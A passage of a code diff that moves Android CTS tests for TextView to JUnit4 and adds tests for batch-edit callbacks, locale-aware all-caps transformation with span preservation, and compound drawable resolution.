-               mTextView.setFocusable(true);
-               mTextView.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setFocusable(true);
+            mTextView.requestFocus();
+         });
         mInstrumentation.waitForIdleSync();
         assertTrue(mTextView.isFocused());
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mTextView.isInputMethodTarget();
-            }
-        }.run();
-    }
-
-    public void testBeginEndBatchEdit() {
-        mTextView = findTextView(R.id.textview_text);
-
-        mTextView.beginBatchEdit();
-        mTextView.endBatchEdit();
+        PollingCheck.waitFor(mTextView::isInputMethodTarget);
     }
 
     @UiThreadTest
+    @Test
+    public void testBeginEndBatchEditAreNotCalledForNonEditableText() {
+        final TextView mockTextView = spy(new TextView(mActivity));
+
+        // TextView should not call onBeginBatchEdit or onEndBatchEdit during initialization
+        verify(mockTextView, never()).onBeginBatchEdit();
+        verify(mockTextView, never()).onEndBatchEdit();
+
+
+        mockTextView.beginBatchEdit();
+        // Since TextView doesn't support editing, the callbacks should not be called
+        verify(mockTextView, never()).onBeginBatchEdit();
+        verify(mockTextView, never()).onEndBatchEdit();
+
+        mockTextView.endBatchEdit();
+        // Since TextView doesn't support editing, the callbacks should not be called
+        verify(mockTextView, never()).onBeginBatchEdit();
+        verify(mockTextView, never()).onEndBatchEdit();
+    }
+
+    @Test
+    public void testBeginEndBatchEditCallbacksAreCalledForEditableText() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = spy(new TextView(mActivity)));
+        mInstrumentation.waitForIdleSync();
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        layout.addView(mTextView, layoutParams);
+        layout.setLayoutParams(layoutParams);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
+            mTextView.setText("", BufferType.EDITABLE);
+            mTextView.requestFocus();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        reset(mTextView);
+        assertTrue(mTextView.hasFocus());
+        verify(mTextView, never()).onBeginBatchEdit();
+        verify(mTextView, never()).onEndBatchEdit();
+
+        mTextView.beginBatchEdit();
+
+        verify(mTextView, times(1)).onBeginBatchEdit();
+        verify(mTextView, never()).onEndBatchEdit();
+
+        reset(mTextView);
+        mTextView.endBatchEdit();
+        verify(mTextView, never()).onBeginBatchEdit();
+        verify(mTextView, times(1)).onEndBatchEdit();
+    }
+
+    @UiThreadTest
+    @Test
     public void testBringPointIntoView() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertFalse(mTextView.bringPointIntoView(1));
@@ -4176,13 +5129,15 @@
         assertFalse(mTextView.bringPointIntoView(2));
     }
 
+    @Test
     public void testCancelLongPress() {
         mTextView = findTextView(R.id.textview_text);
-        TouchUtils.longClickView(this, mTextView);
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mTextView);
         mTextView.cancelLongPress();
     }
 
     @UiThreadTest
+    @Test
     public void testClearComposingText() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setText("Hello world!", BufferType.SPANNABLE);
@@ -4200,17 +5155,20 @@
         assertEquals(-1, BaseInputConnection.getComposingSpanStart(text));
     }
 
+    @UiThreadTest
+    @Test
     public void testComputeVerticalScrollExtent() {
-        MockTextView textView = new MockTextView(mActivity);
-        assertEquals(0, textView.computeVerticalScrollExtent());
+        mTextView = new MockTextView(mActivity);
+        assertEquals(0, ((MockTextView) mTextView).computeVerticalScrollExtent());
 
-        Drawable d = getDrawable(R.drawable.pass);
-        textView.setCompoundDrawables(null, d, null, d);
+        Drawable d = TestUtils.getDrawable(mActivity, R.drawable.pass);
+        mTextView.setCompoundDrawables(null, d, null, d);
 
-        assertEquals(0, textView.computeVerticalScrollExtent());
+        assertEquals(0, ((MockTextView) mTextView).computeVerticalScrollExtent());
     }
 
     @UiThreadTest
+    @Test
     public void testDidTouchFocusSelect() {
         mTextView = new EditText(mActivity);
         assertFalse(mTextView.didTouchFocusSelect());
@@ -4220,25 +5178,30 @@
         assertTrue(mTextView.didTouchFocusSelect());
     }
 
-    public void testSelectAllJustAfterTap() {
+    @Test
+    public void testSelectAllJustAfterTap() throws Throwable {
         // Prepare an EditText with focus.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = new EditText(mActivity);
-                mActivity.setContentView(mTextView);
+        mActivityRule.runOnUiThread(() -> {
+            // Make a dummy focusable so that initial focus doesn't go to our test textview
+            LinearLayout top = new LinearLayout(mActivity);
+            TextView dummy = new TextView(mActivity);
+            dummy.setFocusableInTouchMode(true);
+            top.addView(dummy, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
+            mTextView = new EditText(mActivity);
+            top.addView(mTextView, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT);
+            mActivity.setContentView(top);
 
-                assertFalse(mTextView.didTouchFocusSelect());
-                mTextView.setFocusable(true);
-                mTextView.requestFocus();
-                assertTrue(mTextView.didTouchFocusSelect());
+            assertFalse(mTextView.didTouchFocusSelect());
+            mTextView.setFocusable(true);
+            mTextView.requestFocus();
+            assertTrue(mTextView.didTouchFocusSelect());
 
-                mTextView.setText("Hello, World.", BufferType.SPANNABLE);
-            }
+            mTextView.setText("Hello, World.", BufferType.SPANNABLE);
         });
         mInstrumentation.waitForIdleSync();
 
         // Tap the view to show InsertPointController.
-        TouchUtils.tapView(this, mTextView);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mTextView);
         // bad workaround for waiting onStartInputView of LeanbackIme.apk done
         try {
             Thread.sleep(1000);
@@ -4247,11 +5210,7 @@
         }
 
         // Execute SelectAll context menu.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.onTextContextMenuItem(android.R.id.selectAll);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.onTextContextMenuItem(android.R.id.selectAll));
         mInstrumentation.waitForIdleSync();
 
         // The selection must be whole of the text contents.
@@ -4260,6 +5219,8 @@
         assertEquals(mTextView.length(), mTextView.getSelectionEnd());
     }
 
+    @UiThreadTest
+    @Test
     public void testExtractText() {
         mTextView = new TextView(mActivity);
 
@@ -4285,12 +5246,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testTextDirectionDefault() {
         TextView tv = new TextView(mActivity);
         assertEquals(View.TEXT_DIRECTION_INHERIT, tv.getRawTextDirection());
     }
 
     @UiThreadTest
+    @Test
     public void testSetGetTextDirection() {
         TextView tv = new TextView(mActivity);
 
@@ -4320,6 +5283,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextDirectionLtr() {
         TextView tv = new TextView(mActivity);
         tv.setText("this is a test");
@@ -4352,6 +5316,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextDirectionLtrWithInheritance() {
         LinearLayout ll = new LinearLayout(mActivity);
         ll.setTextDirection(View.TEXT_DIRECTION_ANY_RTL);
@@ -4386,6 +5351,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextDirectionRtl() {
         TextView tv = new TextView(mActivity);
         tv.setText("\u05DD\u05DE"); // hebrew
@@ -4418,6 +5384,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextDirectionRtlWithInheritance() {
         LinearLayout ll = new LinearLayout(mActivity);
         ll.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG);
@@ -4479,6 +5446,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testResetTextDirection() {
         LinearLayout ll = (LinearLayout) mActivity.findViewById(R.id.layout_textviewtest);
         TextView tv = (TextView) mActivity.findViewById(R.id.textview_rtl);
@@ -4497,6 +5465,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testTextDirectionFirstStrongLtr() {
         {
             // The first directional character is LTR, the paragraph direction is LTR.
@@ -4547,6 +5516,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testTextDirectionFirstStrongRtl() {
         {
             // The first directional character is LTR, the paragraph direction is LTR.
@@ -4596,6 +5566,8 @@
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testTextLocales() {
         TextView tv = new TextView(mActivity);
         assertEquals(Locale.getDefault(), tv.getTextLocale());
@@ -4631,37 +5603,88 @@
         }
     }
 
-    public void testAllCapsLocalization() {
-        String testString = "abcdefghijklmnopqrstuvwxyz";
+    @UiThreadTest
+    @Test
+    public void testAllCaps_Localization() {
+        final String testString = "abcdefghijklmnopqrstuvwxyz i\u0307\u0301 άέήίΐόύΰώάυ ή";
 
-        // The capitalized characters of "i" on Turkish and Azerbaijani are different from English.
-        Locale[] testLocales = {
-            new Locale("az", "AZ"),
-            new Locale("tr", "TR"),
-            new Locale("en", "US"),
+        // Capital "i" in Turkish and Azerbaijani is different from English, Lithuanian has special
+        // rules for uppercasing dotted i with accents, and Greek has complex capitalization rules.
+        final Locale[] testLocales = {
+            new Locale("az", "AZ"),  // Azerbaijani
+            new Locale("tr", "TR"),  // Turkish
+            new Locale("lt", "LT"),  // Lithuanian
+            new Locale("el", "GR"),  // Greek
+            Locale.US,
         };
 
-        TextView tv = new TextView(mActivity);
+        final TextView tv = new TextView(mActivity);
         tv.setAllCaps(true);
         for (Locale locale: testLocales) {
             tv.setTextLocale(locale);
             assertEquals("Locale: " + locale.getDisplayName(),
-                         testString.toUpperCase(locale),
+                         UCharacter.toUpperCase(locale, testString),
                          tv.getTransformationMethod().getTransformation(testString, tv).toString());
         }
     }
 
     @UiThreadTest
+    @Test
+    public void testAllCaps_SpansArePreserved() {
+        final Locale greek = new Locale("el", "GR");
+        final String lowerString = "ι\u0301ριδα";  // ίριδα with first letter decomposed
+        final String upperString = "ΙΡΙΔΑ";  // uppercased
+        // expected lowercase to uppercase index map
+        final int[] indexMap = {0, 1, 1, 2, 3, 4, 5};
+        final int flags = Spanned.SPAN_INCLUSIVE_INCLUSIVE;
+
+        final TextView tv = new TextView(mActivity);
+        tv.setTextLocale(greek);
+        tv.setAllCaps(true);
+
+        final Spannable source = new SpannableString(lowerString);
+        source.setSpan(new Object(), 0, 1, flags);
+        source.setSpan(new Object(), 1, 2, flags);
+        source.setSpan(new Object(), 2, 3, flags);
+        source.setSpan(new Object(), 3, 4, flags);
+        source.setSpan(new Object(), 4, 5, flags);
+        source.setSpan(new Object(), 5, 6, flags);
+        source.setSpan(new Object(), 0, 2, flags);
+        source.setSpan(new Object(), 1, 3, flags);
+        source.setSpan(new Object(), 2, 4, flags);
+        source.setSpan(new Object(), 0, 6, flags);
+        final Object[] sourceSpans = source.getSpans(0, source.length(), Object.class);
+
+        final CharSequence transformed =
+                tv.getTransformationMethod().getTransformation(source, tv);
+        assertTrue(transformed instanceof Spanned);
+        final Spanned result = (Spanned) transformed;
+
+        assertEquals(upperString, transformed.toString());
+        final Object[] resultSpans = result.getSpans(0, result.length(), Object.class);
+        assertEquals(sourceSpans.length, resultSpans.length);
+        for (int i = 0; i < sourceSpans.length; i++) {
+            assertSame(sourceSpans[i], resultSpans[i]);
+            final Object span = sourceSpans[i];
+            assertEquals(indexMap[source.getSpanStart(span)], result.getSpanStart(span));
+            assertEquals(indexMap[source.getSpanEnd(span)], result.getSpanEnd(span));
+            assertEquals(source.getSpanFlags(span), result.getSpanFlags(span));
+        }
+    }
+
+    @UiThreadTest
+    @Test
     public void testTextAlignmentDefault() {
-        TextView tv = new TextView(getActivity());
+        TextView tv = new TextView(mActivity);
         assertEquals(View.TEXT_ALIGNMENT_GRAVITY, tv.getRawTextAlignment());
         // resolved default text alignment is GRAVITY
         assertEquals(View.TEXT_ALIGNMENT_GRAVITY, tv.getTextAlignment());
     }
 
     @UiThreadTest
+    @Test
     public void testSetGetTextAlignment() {
-        TextView tv = new TextView(getActivity());
+        TextView tv = new TextView(mActivity);
 
         tv.setTextAlignment(View.TEXT_ALIGNMENT_GRAVITY);
         assertEquals(View.TEXT_ALIGNMENT_GRAVITY, tv.getRawTextAlignment());
@@ -4683,8 +5706,9 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextAlignment() {
-        TextView tv = new TextView(getActivity());
+        TextView tv = new TextView(mActivity);
 
         assertEquals(View.TEXT_ALIGNMENT_GRAVITY, tv.getTextAlignment());
 
@@ -4710,11 +5734,12 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetResolvedTextAlignmentWithInheritance() {
-        LinearLayout ll = new LinearLayout(getActivity());
+        LinearLayout ll = new LinearLayout(mActivity);
         ll.setTextAlignment(View.TEXT_ALIGNMENT_GRAVITY);
 
-        TextView tv = new TextView(getActivity());
+        TextView tv = new TextView(mActivity);
         ll.addView(tv);
 
         // check defaults
@@ -4760,11 +5785,10 @@
     }
 
     @UiThreadTest
+    @Test
     public void testResetTextAlignment() {
-        TextViewCtsActivity activity = getActivity();
-
-        LinearLayout ll = (LinearLayout) activity.findViewById(R.id.layout_textviewtest);
-        TextView tv = (TextView) activity.findViewById(R.id.textview_rtl);
+        LinearLayout ll = (LinearLayout) mActivity.findViewById(R.id.layout_textviewtest);
+        TextView tv = (TextView) mActivity.findViewById(R.id.textview_rtl);
 
         ll.setTextAlignment(View.TEXT_ALIGNMENT_CENTER);
         tv.setTextAlignment(View.TEXT_ALIGNMENT_INHERIT);
@@ -4781,233 +5805,166 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDrawableResolution() {
-        final int LEFT = 0;
-        final int TOP = 1;
-        final int RIGHT = 2;
-        final int BOTTOM = 3;
-
-        TextViewCtsActivity activity = getActivity();
-
         // Case 1.1: left / right drawable defined in default LTR mode
-        TextView tv = (TextView) activity.findViewById(R.id.textview_drawable_1_1);
-        Drawable[] drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        TextView tv = (TextView) mActivity.findViewById(R.id.textview_drawable_1_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, -1, -1,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 1.2: left / right drawable defined in default RTL mode
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_1_2);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_1_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, -1, -1,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 2.1: start / end drawable defined in LTR mode
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_2_1);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_2_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 2.2: start / end drawable defined in RTL mode
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_2_2);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_2_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_red, R.drawable.icon_blue,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 3.1: left / right / start / end drawable defined in LTR mode
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_3_1);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_3_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 3.2: left / right / start / end drawable defined in RTL mode
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_3_2);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_3_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_red, R.drawable.icon_blue,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 4.1: start / end drawable defined in LTR mode inside a layout
         // that defines the layout direction
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_4_1);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_4_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 4.2: start / end drawable defined in RTL mode inside a layout
         // that defines the layout direction
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_4_2);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_4_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_red, R.drawable.icon_blue,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 5.1: left / right / start / end drawable defined in LTR mode inside a layout
         // that defines the layout direction
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_3_1);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_5_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
         // Case 5.2: left / right / start / end drawable defined in RTL mode inside a layout
         // that defines the layout direction
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_3_2);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_5_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_red, R.drawable.icon_blue,
+                R.drawable.icon_green, R.drawable.icon_yellow);
+        TestUtils.verifyCompoundDrawablesRelative(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
     }
 
     @UiThreadTest
+    @Test
     public void testDrawableResolution2() {
-        final int LEFT = 0;
-        final int TOP = 1;
-        final int RIGHT = 2;
-        final int BOTTOM = 3;
-
-        TextViewCtsActivity activity = getActivity();
-
         // Case 1.1: left / right drawable defined in default LTR mode
-        TextView tv = (TextView) activity.findViewById(R.id.textview_drawable_1_1);
-        Drawable[] drawables = tv.getCompoundDrawables();
+        TextView tv = (TextView) mActivity.findViewById(R.id.textview_drawable_1_1);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv.setCompoundDrawables(null, null,
+                TestUtils.getDrawable(mActivity, R.drawable.icon_yellow), null);
+        TestUtils.verifyCompoundDrawables(tv, -1, R.drawable.icon_yellow, -1, -1);
 
-        tv.setCompoundDrawables(null, null, getDrawable(R.drawable.icon_yellow), null);
-        drawables = tv.getCompoundDrawables();
+        tv = (TextView) mActivity.findViewById(R.id.textview_drawable_1_2);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red,
+                R.drawable.icon_green, R.drawable.icon_yellow);
 
-        assertNull(drawables[LEFT]);
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        assertNull(drawables[TOP]);
-        assertNull(drawables[BOTTOM]);
+        tv.setCompoundDrawables(TestUtils.getDrawable(mActivity, R.drawable.icon_yellow), null,
+                null, null);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_yellow, -1, -1, -1);
 
-        tv = (TextView) activity.findViewById(R.id.textview_drawable_1_2);
-        drawables = tv.getCompoundDrawables();
+        tv = (TextView) mActivity.findViewById(R.id.textview_ltr);
+        TestUtils.verifyCompoundDrawables(tv, -1, -1, -1, -1);
 
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_green),
-                ((BitmapDrawable) drawables[TOP]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[BOTTOM]).getBitmap());
+        tv.setCompoundDrawables(TestUtils.getDrawable(mActivity, R.drawable.icon_blue), null,
+                TestUtils.getDrawable(mActivity, R.drawable.icon_red), null);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_blue, R.drawable.icon_red, -1, -1);
 
-        tv.setCompoundDrawables(getDrawable(R.drawable.icon_yellow), null, null, null);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        assertNull(drawables[RIGHT]);
-        assertNull(drawables[TOP]);
-        assertNull(drawables[BOTTOM]);
-
-        tv = (TextView) activity.findViewById(R.id.textview_ltr);
-        drawables = tv.getCompoundDrawables();
-
-        assertNull(drawables[LEFT]);
-        assertNull(drawables[RIGHT]);
-        assertNull(drawables[TOP]);
-        assertNull(drawables[BOTTOM]);
-
-        tv.setCompoundDrawables(getDrawable(R.drawable.icon_blue), null, getDrawable(R.drawable.icon_red), null);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_blue),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_red),
-                ((BitmapDrawable) drawables[RIGHT]).getBitmap());
-        assertNull(drawables[TOP]);
-        assertNull(drawables[BOTTOM]);
-
-        tv.setCompoundDrawablesRelative(getDrawable(R.drawable.icon_yellow), null, null, null);
-        drawables = tv.getCompoundDrawables();
-
-        WidgetTestUtils.assertEquals(getBitmap(R.drawable.icon_yellow),
-                ((BitmapDrawable) drawables[LEFT]).getBitmap());
-        assertNull(drawables[RIGHT]);
-        assertNull(drawables[TOP]);
-        assertNull(drawables[BOTTOM]);
+        tv.setCompoundDrawablesRelative(TestUtils.getDrawable(mActivity, R.drawable.icon_yellow),
+                null, null, null);
+        TestUtils.verifyCompoundDrawables(tv, R.drawable.icon_yellow, -1, -1, -1);
     }
 
+    @Test
+    public void testCompoundAndTotalPadding() {
+        final Resources res = mActivity.getResources();
+        final int drawablePadding = res.getDimensionPixelSize(R.dimen.textview_drawable_padding);
+        final int paddingLeft = res.getDimensionPixelSize(R.dimen.textview_padding_left);
